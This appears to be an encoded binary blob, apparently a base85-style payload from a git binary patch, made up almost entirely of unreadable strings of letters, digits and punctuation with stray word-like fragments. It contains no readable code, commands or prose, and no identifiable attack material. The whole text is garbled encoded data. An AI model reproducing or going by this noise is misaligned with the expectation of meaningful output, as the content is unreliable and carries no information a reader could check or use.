zn6e3f3Wx9C<##Ry;$Z99I1KuTHaU3i27VEX?-6-;NM4tR7s+~3jF)Y2`}c)7*w?rS z2YdXm7zcaI5XNDn`EA??zKnIn{1)wU{B2n#EAaIj+_CgKIM_DjIM`)dfk!vEWAzvg z_8x%UIN0;~AK+krV{{J=_S)ZG9PBmO4{@+01#|r_ zjcf*HJk810V5V(D-U6o0tzy<+e1~acAW#_F#W3d13omcx0{|Jv2nHyd=~ zx2~Q<`u~>tX_gN(;@O*}WEq(8EF{BV`iYP}m^SJR{eT&N5}6F9O+C_=y80dmvmDe9 z_>VHLpKvhk)z3KC@&AWyKA6|*k^Y~qfAtp*wvCU2{miO&IWP3CJ1_Ar4))yRMjR#| z;&(AN;oGFmb{uT|J$#qcqd2JHoKuS7{=06Us5Y|Q+vwVRxWCcOOKsvfWRotxgMD!t z4(;yZd-@G{GwKQa&UJJACaK?yr%SyB-cstVaENze+SWMaw@( z@N8+5gXc0fb6k;!zbgGq#;0u3^`<4ZRZ}@ zZ*spmTY+!g$|^BXsNE)tS^8$9=k~T26HUeh-|#s&8rE1 zz4Vic-@Mr^hjbk5a%h3W=6mSBCEj+k`~Ra1Jh0g<&){Yqx_`5Me?8Lgw%NU|?)XEl zt{&d3!;iRng!I9_mPhek(moUKz1giZPvBWH&OUgy%r^(m-R#zfJUoB1-rkYdH6EX| z*{ypa9Bkdgr%L;2_;l&B5HFHGi*c~)>Rf!@X19LM$4jJMiibD5^)rI+ka_LIKicd* z7yEFq>;HZnrgY?gln!j>*x$7&CQHElKT#L^Zlh9VFEo@J==sPcEJDG;J-QvC< zW#9p+2k~B8+;M3po-OqpeApIuTr?a9du%xZ2m7qTXK}FgkvQ1nu~9hK>zmKvV6Q14b>`k#VN-{Ow<3h@$YQ;Ne^^*Nq=69;=8=PexUeHvvr z*lXDfaro{no^`nh2m8OSi}A4ZAHi2{ao@{U;b5;3ug2fm;*LMdaj^9YJi5j1%Tx?M zD9h>)epHr8HU6cH?JFGYG3qfK?6NwJ*KBdmYmMWlr2Z{_dW-w6eFpzQ#_%Kllg#U9 z9PD$C|AW_VanH%D!_RGT-zm=Hzsvjk2Yz9Td#>+A+~4BPhpVluCtKZh_B8y4t?vIR zZp52yb^p8391m=D|FaOpA?Fa^7w*HmZ*}{xhj6gZqkb4S%;I-OdXSH7)lDWeGCV?KYbhrdo80k4)z+v6FAsu|Am8X|0E9fI!hJ~cD{Y^ep2s` zgPqp^9Mm&>uYU>$JMBOmP90<&%f`XZHwPao^Bso2B>lXMPm+2F2RmPHE594!maRwn zVD5=hbE$*9Z;JGx-$|C|>sxj9LRZfrLtyG2>4)V#is0p2-Emq49^2~H$=&$Dt?r(O zLwMy@_t~k!&q@9KR^93Mt@bn9nGAsWJ{2T$!Q6A3N9Ke1T#qM1QuoL!{&4*?BGbXN zZ$SVt&f?u&sU)r4Szm4$5+w=_c|3^*mtEJ5~c&bdB zhNo}S(OVPlS1oX`)3(H0OZzr>+ig0bEq!L-?WEow@32kZe>?S#_}xt_7dNKZ{jO{JFOy;|An+`2@{dlAgc06Hxne@LLe_Q%ofp3*Qx8YH#$M8K; z--}mn(-pTchARA+)Q{sQLTvTywrA<`F3|MD-DPGuk-)xH{dsJcgLvBw(Gw(E`ExW{7(9^S4S-o|le1P42>C3sZ&jNvuXCXV~kk9v>#d+s&H@zfnU z+MI1y+77nuJ6ydQKe0n!cN725brP?UdK~w6=z%R+AJk5!-RZ8`rQv~{_Ir&A;=Ojd zYlxY6_D=V^_BnX&PIqo64-f5h+h-5=cWU((zi*}9r=R!bdLNz*=6>KDG9+~mkG}7w zjo~%#>miN#E&Dir`hB-wID`NEzT2<;2lu6}cG1r+`+wrf!;5yg^IFAtc$eGGMDQiM z-2baC-K9h8cG+`f9_g1$y#kNQv@!hqU2ePd175q!ZI|lsKc)T`4rcqHd>rg~9u?*F zM%{VZAl@tLp6Q*5XGe9boym<=4jziS=X-nj+Ne7oScikX&u~2s_Bi1k9PIzwmg8XS z75K)eJ8s#8Z;ra-mM!?!s9RRs@Tk;dcumy3Uvb=*d8ruNlbE}gpatGC=JqMA@LQyQ zD-L#_(iXo>>bK)yuerCw?~J*9Tn8NNzNsVrptSE6(;>L&Rem#$^ug{EyW?QnKSUca z_cnN>54O$2_@mNKFC5CvK0Oo9j=5{}Irt#gzj_)UEYl9bpONto#V1I8A`bRGib;4# z>K^XL+%iqb-hu{r$?Xaj?IC_YDrVehT-cu0G)T10QJn ztf9;B_q`f=ioNZNX|y zs#a*VhE^;n=uBl_ler+EATtUr6k-zrO(22$dq2;4{&>GW?>w(_&pmg^ojZ5#+$jcm z9#IK-KFIUpE+8)i>1QlC)#}s8nIO;4oJH1wOj}RB1v2g1WCO^wi^+FE+AkrOfwXy_ z6r}zEDM)=enFQ%GMXm+uXC1i_q|GL>5$^Arb8Zv46{P((Nsu->$qdM}S#m$fybh3u zK-x5uEmm(OkASp4O16QlpLVhXw$yx=}!ANT>$dTv~FZ~kn!{&!=4}e zXQ&q9AkR{BMfmA9Z7;m{$Ns*=Gw?J0w5|^h`fR{r9Q1z05*+kC#6O$1G0>@ zS9UyIXk{PRK$^9VXJV3UAv}q?p&~-Zque0&j;|=sB z&+l5yItQ7y8(9i6{s80(lNt53&&Cd6-3HG05}T zO31MwZN`yNkbYuh9Aq0M$P7rEEE$6I>O5 zw`)fv*d~!xAZ@D2c#EGlLDqnbvzDy0dOf)ir2QgtDM*`T zWD=y$6d79GwK89j{X9la1o?jYByuvy|K@e%6p;P1QWE6ZcejvJLE29vmxA=Oj7)-j zFFqwTkY^t5B-`X~+O(4$u#S6fJIN5FPxm$dUm)8eLXHAye-2p=@+`p$a;(+Ikx`H_ z#K<_vckL5o5~O{KYy|12Nz&>&$z4|8O=dvKs;y17K&qKQfpKkRT z`0duu9r#@<(>Y1{`3VkskKg~{cdty}AkR{}2M29)FaEH#nT`M4`uPR^h_#u6$E}{g z!|+b?m#obn@RwJo$4UJayw2L!;|#Yx7yvAQUEy4R)oBsF!s}IC4viimNWovw&Q5^I$ zz8D^-p5dH7fj6x2_vA0em)pEn;2*9@f3<<-{RmH5|0#Uq8oy09;f-tjYiJX`!=~Md zx2*B|Z7bfkCcW`>t|7PMq1D}5e69Z-WVeq0!F7J$8;?iV`F%Bp$JhCLpAz^l*QJ-# zb3ggxINVdiHIOIp`RmfxJto8bt zO9>f*j;99>+Ws^g^z+l6IB1`RIOyk3E{pT`ZyL6>F3dY(Jw$Ce^9u={s8S&-ZcA^)?*`z29#J4*ERLTXE3){eFOh?lV<5=z6QhZ?kp&LmZkeP|cKC|&BIOyl&|F=F}3i6q0gp7i$hnUnr=X*B}x_$4#LAS-d zIOsb6DGquc!b}{r{VW``{e7%Ako|uVnS?9&oIOQ`@aT8=EdG8RbZigcp#49H3v%rG z8UG^>`8EkM39{d&$narXhqGw|vJMku_;cI0e}RMUV~^mV|3`Dyr^`U@TNqAOf$THY zWZdcrGPJsT6bIdJAHzZacj7qczLdbj_5L$ow}E5A27f=^;0@{ckPYd{>6}P{45L<$ z;S)Eci~r6&=aX>Id$zB^uifD9g`SMV9e?LL7uVsS_qtz?gWfNF1ODR;{{G}U@w=^l z4-R_Y^1V3d{oy~wXIh(C_+!>4j)V4@z>^!&56JO6g=aSSbENDB?%Us>%h-)v{^bU} zM!kYef}AU+$VRI-kr`OS^SH9)UXb&^edKx~D<7Lf1Aw2~p{_xJa1NJn9FJa1Ht zjDwu#B*?i?wkl`%JhBGlytkH|57K4z83_;qs8MJ{YztNB&L(uxII7oZ<1J)Z%n@q(&roGLXdeaA{#)q z?_x=-FC$w(+P9J+=suIcYd8A$;Lqcrzq9aLyw2+Nc*92jnz$HGZuIYkQ+Q^hzt)k( z!;Sv6z-{7v$|irkC4!f4^7ph<;L%O~I2^;{o9sFXp0s)j&usG7K(hFkR^N;NXOq7s zvmZaS$$$RajJIs^_jk48pq~qWje|bN<1pT_$^Y(iCk}cY=>#6yv~Dx+6E~-?c#`{? zdf<@yQNg+HG#u`Kl6!r7;-GB`anO3v=5#s8chxJ%D9Cr!V`Mnk*WD0&=;pM3&;4v1 z^tgVCn&Hg+7G5m_n>HnnpTy+8tdR^#B9JGEF4s!12 zuEr;C_UDAx;Wt>DDLCk~mH5of{#w&49Q5<4`|$W?e=RP7CpY{1x>I;&vtQ>~yk)ap zSHZ*0{&(2j7OoX+@%OOh;Goy~a`7%!?}~%g3vkfijP8bmKF8)1yt}pUfrDN@JPn7` zD|`mj69=sq;zic}bR4wLUU+Y-pMgW`%WjxE69;Y62Zz^R;ykJt2OV1p4q8782W{UM zhb6D`+?alNe`_-Uht37=Og9h*owgK*5srJDBKV*!{(g+X_>e9B9*Lp&*<1XxYlh+Q z*<6mjWjJU*!|@SY{58*!_^2)ZTI)IZxmG_9FW=(-cPjAFTl_VjG5CdB{5BnngMJTp z9DWhYvY%&HUW{L2^BRwXJ|pW=9IpQ^%XJwJT94wO*KA{W)fRtjsm5n+vFB;v4{!0; zKWF2QY)L<`mTP@;aFFkOxkqu(=R`e*!?06x2Dvy6dMz}8gT9~rB@X&N?s5DHt3QeV zYK#Al+gyB})t|-%d4Kl|2|Dew_00;d|ikEQE-^KU?4*I(uFXOLR{g3#oThjV_ z7Iir2Z)()z3%B_9Ym0EuYcGGn|GLG$M}7-`$LbAR(#t{KORgY8(D!+YKPo?Vl_CVUYN`rFDEze#)Rz04ydJ4}p z`Fnw~c-Z8xSGzRhPuo4!cs%X@7ZP|f?Y}>g!ZT^VezN#iY5#inKOFS4j}{#CJy9zT z`o8099JGEI|0eCn@GahHZBF1P)Be~M;-Kwa!0|Ki{p8@F|EIYD&+-lQbC!HE>>l|0 zntI@%ZBD~MpKIL{2dx+4p!aVV;X?xdy}6Wc~aB2VKUO z@jqJqRlLsnugCvn>*O^Y^s}(ngLKs!f!zpk5ugI?Fo#UVSMYvXx1=yk<>yl|^Oz7^s9w)*Qu{c+H1ZUgW#Ycm`# z-|CNh75Lb#{`(8#@Qb$k-=?`3ud?>l_?=t*aqKR9=2m}QZWjKq)o0_6Z1u;bIXLLC z@lhP~I^kpZT<$lz^ zZcUehTpNs#;agk%^`*CQ`0iz_x4+?_$LDu&(0T(7dR=ib{*SF(hvGAicX811FTs~v zeFdJhv8C{pTm3P76%N|ZYJB5Xe+_mM-e~Qc@U0-PP20#%w)*Rb+i}p>sU7&|Htn9R z{KkZ@&mrR=*Rd014aj$$YRTmwuURX|B)ocI{sk#A1nu)n9AsLz7jLtAJKn*5HI933 zJMk0rBi}naiHBSLcbD8Yj-T7oDf#`l2wuKT_j6Z)U%1Vm1B}I^+x&4OhF5L#=i$|O ze4D>sl)!7Y`D1b|UboGk+tlOBx21nKlzU}YY)e;x+{;%@&V<;={BviKVba%K3eRjy zpUmUgl39H3HvhYI`*2t~mCwcgjl+YE-)s91zTes$z@gVGdBfa)ahNx~%XoJXhrPck zINu$@VSP`YnbwTM?4@1Kbzk8v)=w)QZu8F#aG&sc`icMUe>c4F6aTqk5nlRZnFCFA@P=hdt5)t{t?KE?Mb*5H{>((hKV zt+V)vPyG9}lXysWv$y--1Q~{d{?(BBPt1P2|%9Q;vh{}^6l!%)HX#Fq3-`(zi zdu0g@`r9b);h^*VCl0;j_gR+Wplz1nA6Y+19Q1cUQutaM=Q@17wcmhmv_3cCTWlRR z;#;lFHhjl+|63tD@%`530Dj1pr5SIrHm!Jv_1TG^uyt}054Zc@sc}1a-Pz%{T|VA* zhhP5%IOy+^bi+^C;g|PR9QMm^xOB%s*I^GFbl*4)FWlj`Q4tQhu1?2$@9^vA47_-U zUvDKiXg_D+eQgZ=aL{etA1}9lD)94dY!~38t^FAMJ2tip@v+u^93Hj)WB64z&Z}|I z-{P5wgKo!3_!OIOB|hEynSoc?wAJ_nR(}wG*p_QH9=9aXnJ zxt)H#334vTx}8Uc@UncT=2iR+oA00Th8=#}Eymxs`Um)O8~+MCY4sEix*h+8gZ>84 z$M{OCufo^ZnAhTyZPX8Ko9v-!N46oYh-)mIkbvykrtsYPA^yhmi669R2 zo(#jC{(ZFjlzu+-$JiJi|5Se~$|dmRr|ALD@XXs3p83?j-evLdQ#-f+jB~lq(#Lo6 z-YN$_?K6K5e@`6rSu}&(e7y z-=WJVL(uOgT!u%jO$?u4^STnh+P8NTanLbL!mqJ;U5mpnMsu&rWE^x1*L{{Q0Qr7g zH!=jB_IiAVwYe1s|6M%%2Uf4bLDxey4(Uytv)zV+_Wwg1^!tFfp1zA~N4xww@3kwP2ML~0 znNNnG+oCsqhP6Kv2c2&p{I6Dj3vbxv$F>;XWAzLUI^Qh5e^+#oZd%c0bW%al5hTZ9( z-Ov8B7++@f_wnU6o)!2DH{YgCh+@6cIhy8YszlPHv2mLv0&iiuW2f;8XVa?`T)zplxo%ziVTg zii2MNoQ6-|It&uZC|e?=fmV@^G7Wp!vi}9o_V+zmg zN&k8+*N(Dy%O3ySxmNs`t^eaV=(_E|L7oreI&skZZ%^Q%wRah|b;iDDikD~nd;AJK zYV{aCHRGR$HVp^8XX$%*mDQ{9JFWd)c-;C);7?fnNqla`KMP_WUX$_n3)SMGwQ*TI z>pxp`U(o*-er(nFZD08P`G@$-FZ}(|v+(#A_L&!+_#%CS{O0v9anRq_cpU%L7yi5C zb8*o7f#>0{dkO8I#zEUZgFp90`kePT4*wdjvG%q2^IxRz>za4A`z`Ya=_f&kFMN@H z;63h}eG!K(@{HWy;n4UQ_21*5+hsluI)()}XrC|Pf3*3&ii5VP!$HSZkH7VW-|laJ z!EZPF@yEyzbY6eMm)f+;@b_)n5AfyI{|Y>5^%TDH3;#ZM6~6il|39(@53TOLOpopM zW%`y!^G1&&=fd(w@2-f&4alKAG&{+oZ^_ z=u5x6r+=A_g3K#MRzd$q@-D0<;~?`*kWavn$MPzkB_ru}l$5@~Jagcu8033AxABcmtFU3LoiLl;4>eXZ%bX${kR<9>R z&^`y@p!?Ne9Q3;(Ls&N;(?-ZDknvZOagg>2G6}j)$PCDQv*g_2zWqFMDM@jN`T0i3At3wwQ1TLxWf@OKtsWyMfJ}QO z83)}5$QqD!RZG@^%(tG*fV9t&q1D~hIOw*R$QVG{M93(}XPq%}3dndW$*Ca!3)9Hy zAnRcUSp_oRYBCNo<^)*-GHoqc2Ra_I!Rm|2B*Y%dKRZQctez$JgS0wphKD3_;i7HD9I+L6*0OECpE)5i$zWCPq#GIo4fCR)O?cO~ygyl_2L@eI8i@ zGPYXs1(4&3R4OUOo$X`9Fl$QZKZUXbzc zBllbV0C@7K$DT741zjwcsOsrL|dwulds7le6~A zblFBAq{aUg+9z7$j}l zanS913`jb`M=M%xB`_h-MC>ZTxc--m*GM_uswR$qX_^TTs4axdYb)!jjs z{h+@GBZ8M5^xtP3jz_H?!>bPZdyuN}nFsy*=vnxjgZ^17kK*xz{+v88 zALKs61!NNB{=*cx5~R&4axKXHlk3R%FMT~hhEMwT?kODPJH_r-IOx5La}TBqLGNWH zqagJd83&nHf@}bp*J3gW(mqA51i7zx6}c8<+I3|7X`7a;0jbxL8Ib!nvt$U;zkB9j zIuGQ2)O<1o9ow@9)5XvEHYH^EYrl-{H#o=`Tn!G|Pc8F(-cOq#Ye4F?WF5$Tu=QjT z^Xc5;-}&mqgLUO`T``V8`R zkad0sc_+xUcacM0wLZxxNShd0XZ3nA39_zIWQWx|$-KIQ>1Q6wJ2#&!0GYNMSqL)D zA~FhkA3hmc-PJQK$acvm3qbazZe$eX-ryKH1!SC+WE`Y@f_wsGeLhLf1)0}8vIeAm zEm;RLo_aC~(k4Z&1^quI!`FS?y}`By-PU9od^0<5icnT z;UM#MZ!>0)|IV( z`TmQ@Vvz4Xl#rz$$BhUX1>JwhD$w;$&b0b0@&S+sO{AcakB)t97-Q}FmI&mh8G@6&v^hZ!h0V|54n=h4$i=#%N6;h?o7O&)%)WR zxr+N|2H*p&UW&t;59IOOY&?F*&N1*B>aX&@R*V1fkY6XS;&q4o_YLduJaJD2-(H!IgMLo20DrmJe;)J-Ue|2*8sV=u`}>;S zz!x_AeQXi_mW}7_=5*WNn)P#yb}|IrKi|O{Y+j4;P1b%ho@w^a8_eP@tQUTB#I@ol zoBgvILLBbCLO!editY84zaKt^SAFF__o>F?U-@m6z>{D3&;3(4T(FD#tp0_6_LV=^ z-GyhqN+J)4MT`Hdu|Jjdlknd)?Bo10n;TfxE z@%=67@(;Pk<^bN-;+Lx(4_o{(*0nPJR{LBJFKXuQg|9vAx7|9t@vz_4O?c*TdQcAk zYgxSIu*4gh3vx=_*Er~X?1%9qhyDHPM{&6OR_@jL28X4$v!8s6gVx({&}UY+ zGRj~d$JKcdepD07!Gny>n_J998KTEv$NclIB5MUeBx36K4lVKW%X+O&ZBzH zo@*ccH3}n-1qy&x4hnctIu$A-SEoSXW2 z=9sI%FZtH5hw(VfXrg{89<_Q5-~X-e^8kLx`f0|)Hk(&F@A2FHeI~g$=)EF&ILv>N zV_iPp#oBbmLGQ6Cz(Mb&>4u-u?(bmRALhGjpKfOKu;0nG6 z*9-66?w@^q23~Cal;CHzrw8rg^T)n8=)C&jp!f6i#|PNF2DYagOMU-MWClL|Nx|qW z*<$rpG6cED#zorGNsxPrQe+5vZ_l9ibOFdRb|XX3`;i9Ypvyi42fcS_C_c>El(nbx zKl`w)x*LvzuICXrXg?!y&}V>;!a?uzIR^)Ae=ZK%{yfGB(tkHH1ifFV z96#UMT!4?U<@yc|+W&?4SZhCyF@rptJ)aCg?|r(6I_UjKWC+^-#dy^EkKyrle}0m{ zL0@-%iG!X`K90|A_uu82*Uqu3J^hpIJTHO_L7&U?9RBNe{~GZd9Q0hJ1_$}gAXke& z-|oLR^jjRX%?peZwo`BAb1q~1w}Aiq`Q8d!&a_v<;I zd;sJ(eI6v^Am@__GPJt;2M)Sj-o-(eYY7fI-}i9P`akidwtkl3@3;HsMSp-Vw|-Wz zj3D#cNge^||0o%L=z86#{^i$CCmDWh^IeI9uJctm=(bpmgRajt_*$#4 z!$E(;Xgv;k9=m~M-{`kXf(${IYZDH-T$^#w^X)A-XuYvLT?*1ZLdHS1Z-NZ1?wWAW zai($5{Wie2TYU!(x^L{ncUgTm4%+^6e2>*LIA}e~HvQ7JDH($PzwE_9$GMO7{O@-C z4%$(&4P@Ed$!by5wKiYVKgfRA zPKKc4IgB5%Hb>c}-}-IQNrs^NXB!SWuXY@C8y&+zx9M>lv`q&N`u?|*Z2_{LBV-gF z<+H^Y8Cu<);MfMTpFBs_fc!peExFw4E660sm{VkEb$1d6-G4$H^#8&g<2CM>KQ{Kl zLGR=0eJq^^axR@u7J~eKK@r&-Dl0!h=8xAE$fGpQY z@?4Pb;Gaj9%ipow(h72{{5?D8>~Un+*SB%~aL{MA_s2`E9>GDk#UR!pjN`W?5@ZNk zAB+#NZ8sDLeeZKN4*Gs%7!LY9mogmmefn^`{Fr}lUV($YhdQ5i3%YK}HbH&|nd|^r z_D(VceP4V54m#h_IOwvB!7n`Kk7;9Z(E2$15*x#KmJ4K@39<&H&swq$q6?#CanJ|DzEufP2a2i>LIF#pRS^C}{XLDpvp zSqicbM94CbePcKow|at1f*dzeWN39a8wcIze~v%m`*Cyd$87z?anR#`0tX%2FY%|W z&9694g6vB%GMsD6J`aD!+CPhf&g(fGbh&7KA4`x=fcy_WNhU$J3%L?x{j4I}tlmy` zfVA%9JEam2c1_6UupZ>Djc-UY8>=`d<_md z-?cdC`Sv>Yf%U%sd~zwsI$1_0LH-v~rLDt*pWHHEkD)h4{r)=v}L5%#aj8I>Tzv>lTJ9Q63P6$jl9x8b1c^Amix)j!8UpTn>R2i;y7 z9P}8K<^SjlzYb$$2zspk5(hn|?WGOK^Xp<{9HdQx3_-WuKK$RdZ~O-b-G}$%pluG| zp!>joanSlf9CSS#!a?iJIB5H?@FUjdC=R;3-{5UlZ^uE;SC27HkaeCQTR{40B}33@ zkK>^0umcBOx1BiX7*61!_3w^z&U4(aw+J3R?w>Ug!{f(&`vhKh++S0z$CJnXed8%S zbKD=_viSbv{yPx|@RsBLJHoAac-%j`#&vKVsl%TK=Hi7N{{OBBFYfU3D#6d{@b}5| z#rs*C{&;DJU#3FOlDzos5Ilufwmm`VIJ$ z4*&mBiN|f63A~Q+$Zx;a<4ZgI_j;D$$&U2W*SJ2M!aue)EAiDGem$(g*LL{NMAqS3 zZJgWi9oBv)p0Ros-{0Z)=L0zCcKk06`u^@9eyGE5>t-Bu|NjaHJ&yek2mS4a798|A z(2B#J&0MSh8V6k`hw&rU=TRJVdB4FyzmxJU-qzvorEkYU&pnRepx=Kvj)UL#@DA3M zyzX@3Cpyx9*vqqePIjc@y*hQA2{P={>Gy|X9CZ98cwejc!$JG(-)cK6jG;2ATFhdj;u$b0Q}a`Y8`+A-u685Tss2_6B)9I)lvY^=-1`evsFo17wTUTgf9J?T?ae zR&OUetlmk6R(JdG|M-5~e*93UKZZB6Ep1BC`34U9 z+WKc4bbo#m2W`I)2W_(mf5++#_)?qKvJ>gz_gOaf;Sw?gT@N4NA6om5@Rip8D%yU= zxaHiNYy+8ZI~jr=dw1a(YoEnI&vU*w!THY#-S=W-9C|&=efZ=utG`c%R(D_Gpr6m~ z#Si&uT{F{y)DvXbV)fP&>AbJ~nDfbEkYy<$`+=m2XY9=`;nn!8OUqvaB?C@`$^VMOlLs$nJgK;aMGU#zKGAa^|=85o3(!jZ?N^hnDKy&Aw`Cu`}W^)&~5h*9As?n zT^#hBVF?cUfAJm;+UB45QmZe+m!I^<=M{MJq`kK~nU1G?n*CXr!v=;wPI4tgB^ArAWNtlM$W|Cc-Pnbu|&eqZR1Z};Oh zp+9!j;?IYExqgd-?C0(U9Q2s*B3>8z^-z!h$;R+nn9c*4S3VhnzK?hv2YoGg0|&j< z{bw9xo4Pmgh1TaH9CUsD1qWT{f5k!158uK;+q{kc&Dy+!gVr0ubaB$xOUP1?{VGC+ zplwq4N*m8Ae1olrjrb;8Kb!Hbwk+GibR1;b1Q~9(<=TORF7HnKQ=9fPe3z}y-FU|O z&*Dcy|C)OgZ?pF8IOy1p;T_hd6Awebe>xY0r7n2uR-RcD!AH5^H`lX&o`YZF0)3Xz zcsy$L7#?@QuO_+@m%w?*-OncT+U;_JurMds`@@|6t_VLpCrJO0dvAK-rB;vNLvn&s zZ|&084aK8YkKq$?g1I@lW8Ibb#GK%_x945zCgGEFf`9%PzYf1XC-}_eM%@kgl$@Ya z+E?PB^&4}7(wlOETYr={HbRDQ-jDLi-OV{c92#%WyEs86L8eVf4bH-w$k6KU7JRCW zXIf5B@IBvuH!=wocjk>vk(uxNezIf;r|s)-%xI@VnfDaR5JL(>CKR zY_H?Ys}&D(f-|S^eIJ(_gt@uF%U82s@xa3nbXp#I7#3Q+2tU*6eemMkVBq8~gIx*U zFE?0vwHw4M75h(aFkL)?M|1r?8N=hb!H^rcharI{bAypG<`f?025TxAkITdJZ2!y; z!uxcUx0gZLK?Kc35YKE_w(2YL_fDjc-^YJ7v$H{zi6P52h8H{zi6CVWSJ zuGV$@l+Lt$3TYZ^w`22U*!CkK-Nre*f&mPvi%wPURxidur!B!j`#cK=ZQmC!wR!|E>k{bmLx$t$b@9iy zavVn9#(q+PgKppR@v&Wk6)tz68`mYs1L-rLEC88TH}VvSyq(woRI)qB_^>cTZVB$T#%_K4eZF4Wv zg1)|!A?WM-PrC$FAY-d0XM$|US!8^stsn9PNIxe@LB<)9g7!ZPf567@AP!pp8U2Hd zxta_?*XKj*^C0znGJM#UcQ*3{T}CnqGR_nkg7*1y9CY9N1rEBeK0Jdb4@en~+v?3pgbZafZ0 zdN77daTqd#v0a8otscX#F9^z~=ZtYT;8O~M+oyAWRf$h82%eapbB>#VS6Q2CJS+%) z_D0ts&UNFp>{LJI)Tz8?o$8NQtMIi}Ux#nB`X;>5>P`68Q~m4yHhhQGcjCLO{cb#C zZL)YpcR#Q5y9eRu?!oLz?pqs!^KfcC&v!k7@cbVB9P9!do@r-!N8{1cd_8s=+v_xc zY){~?Tm20jUVXdkAopiHY4sGo_O#%>d+BE#4)4roeXhqr>l<*`CT%w2@UHkK9H##i z-;8guHjOyUk$Mxp!|FTnU8eiBp1qW^4iifsbu4k|-r>FjJ?j}Q!{}GqlGbqUGss9Vz$T;Z#4jEeA<>R33yWpVz zgI#G4dQ2cg&|`Q3eyXp#?s%cKFTz3lIlX6)1UYV`$nZ?7_rcHV>5q+lanS$SemLlS z`!nAGe%b^Xg7!HOFYW1%hY@^G&meXOuR(+H@}9xfckzC$0+03#hMbn$*TwKDJ^j8> ziC6XXuhG@`ojrpKhU68yyYQJkgAbCqz1%FkzNg=>{)9tjH{0bk9CY7!9si59`77SQ z7-ZWm#^3Gf_n9R)Ec`F$B=6zy++o`M6JKi6F2ljeKJY#cPnEE*et?5+>*e$fbH2^% ze>oX~_PGLwKR!tRAL8)L&+w0MI4J)kNgRG9V@TmGJ%gry=Jj{2_z~9sU)isY;%z;H z8^zmkxK+-hj^UvFAICxa?7(6B@4F0gojCkR`aglgc$xMj4l-sJ;-Jgo3WIXEw>5WA z1sR3P-MRf^WE;Gl${W;9h9GTR4xZ=RxO^No)5dkd;l_XAUGaj#;C}ILIOw#e;2{0G zQ}OPFemnNSLC*tE!{LR`m{(66v|fnA8K==_5e}RGf}f6qj-eM0TJMdYVe>r`hXecQ zvkwmclWB`_(0U0Dx-XrDgO0f`4tlKUhl9?mKMqe#q|X63=$HrMp!;4a4!TVvIOwtr z!Ux+phv1;cw4pfYaqny#bUedw&}qwXxT3b8zZ;H^uzp4s262!vB*+jR{T<6V3WvvJ zy`6)Dj{jU7blK0tLB~*z!v$?DR|O8bT<7CZDEs6EIOu*m8V4QQ7#wu{e+LJh_CkED zZR>G3X#W@Cp!>|lILQ9yF2O;k9gl;K|56+(WWTx$2VMVB9CRDS@OYvBzfR!ELVw&y z;cE+n=aYHoxpnx)!eGh+ycgbtHx~NW(pfp~zn+xe^DR_9`6o zy~EY`#3KLtI0*-R&wC9%xyYY;T!&973Z8t3&+;m9(C-1=h{Mt!@H%@F4qCq%hnH^U z8s;td^rGOOw{p%f1HZK>xZ!5*!TSLYH++?QuB*a9>(%(}MS)(ky#ojRjQdA8=;zTt z#zE_M;_#H?J@Q>R==GVO;PCKwxo-1+_}x~&2cKCK6cptRaI^3SY}yC$hpo+Q{O3jf z{q-+!&^{l*K|j}?gM(Z{aE}%R@puu}5L|JB3_;r`@Mo#t#~7Z&U$*)y_`6nLf`h)- zdkDT4f{z1 zAJQwBeGR`cG!%z-in^Z79ku-LSo?Au@`}0+a25F2Ucrt@ZipL)M|%aYN>;tyN<*?8RAB=7~jf(!o5{f#f-(6OH9 z-v0sryVd{ED~Lk-hP)9mGK59@_-@*}IOw!Xa9H$j>hIx6tEcd=m!13d=D6M4zenzY z7xxZ!PGO%c!Oyq)1^9)%gA%!ZI2H%JW;hPN)Y@N$PqzAX`1Mx50SBFS3JyALW$z$5 z%eRSK7rTt4*q>=?f_Sd*IB(Df6e-T9dEEc7voE<{W2VMS>DG#uxXd$ z>#Y5HJY#LL_Jwx@UJJ5h2>M#^FC6ss?qeMEHFPBo z`ns^HPmlx|XNn9#-^Z=)6U0Hz>k?!Vr2iBduCe*9#n-Xy@>;eY2YnsifN!=oTX4|V zjz+x6_v6wy=(GX8)#}^u?KbTWe3#XC~sO;-KuY;@}9MWeg|FLC&Qs$T05f zE`dK=9E@C;H^x1O|E4&2=sq{z)!?A@TD-0}_}xOTY1HG%Vt)>w!gpFfpW>kB>Yw58 zC%Fc)3*T*RKF2|?jqE878Z*A$L}ozVYh=k5tGALu z==&g7!ue;3-(KDD;*ua|S?(}bg2$|WIbLP;YWx|iKa1B{y&iwZ>J9h@R$q>PYxOof zw7NTsZFiPG-$>vcX9fN8a)-K3JUlDd`ZG7wxxS32Z}8tu)JyQvzCmRp9>L43J{&La z8@TuKN?ipWv-;)u1gl?($E}{g8~O%suFoCm7URjj!Cl+C@SDr{+P=XPTj_rt-ezsu z@ne01bC=`|b;t1zt9RmI-(blW`f>d@ZuARo`h;o6;A8s*FTP9rad@;}uuH}q!>3rA zO8nt|LB~I6GaHZh3vQcNQ0fx+EB%5?chdfkINZ2|<$4uQT0MpD>=)eKM4M0XUHyWc zE0}gS9$MY?XPfp9UXb~A!wdTdQ>$2?MR;ld;MR@QBY1iL;Qwvrx@ZMH*4m82qc&{} zpVB|5UPJpz{8nr8100&y=9aoDe5TcB;g4ARIe6UWmB4GPO)Xw$^?H1vwO@q4Wo_QZ z8~O*2$e0)7OF@=p8JV#*Sv>3?+_Q*v=mxNi1N=CP@aO=)yfJ*r0NYAk84#4Oquz>#)~6fD`>%n)3faDW@X~?7rSl5dUU=N<3A|=t@YV*})Z#A;45H#M z;`0Xv@5+9)0AFhLWq8usr|^u`v-lSSgKy^2|Cjh)YqJjzt&J;XU6uO(&1(Gi(qNs8 z=MFrMuVuaoysk8uAzqI+So_6zvNWh^;(R-WuPqJM$~s(!Hk)WTfs~A4P+FXfGj0DBDJGT zNYDl{hITT9pU7+0t$0-=sQ3&2zt#Aik)ToLdl!DM_5V|RrnQ-cH(I?3&qRVZWPN7w z(Au~`{9h09%i9g_KFGJ}ffri62rssJ3EppzpKpJB$RNKgL-A48{v5n~kY6Vi_-LDU z3_jNCck7@OXTJO?xFi(b`PHr&zrbpE}5|&uRE=R{tS>r`7Mm@3Z>-_yacI z2l2U9pNBs?$Zyl<@ZVUy1_xcYwfGCRTrc8v)}|g`Xk%N1H&}f!o*d-2V+s$gA2*ow zHaJMgIxoRX2M2HKzJxzKIJkH{_1SoQaB$jYJb^b@`^9*pwQ0h4S$#L28612nuT5Ee z@8F>8cBb8j@3;B^yv3$%#Y5}g4Pl!O30BKGFT#t51pPkbf20JDT0MrxhXk#%|0nR5 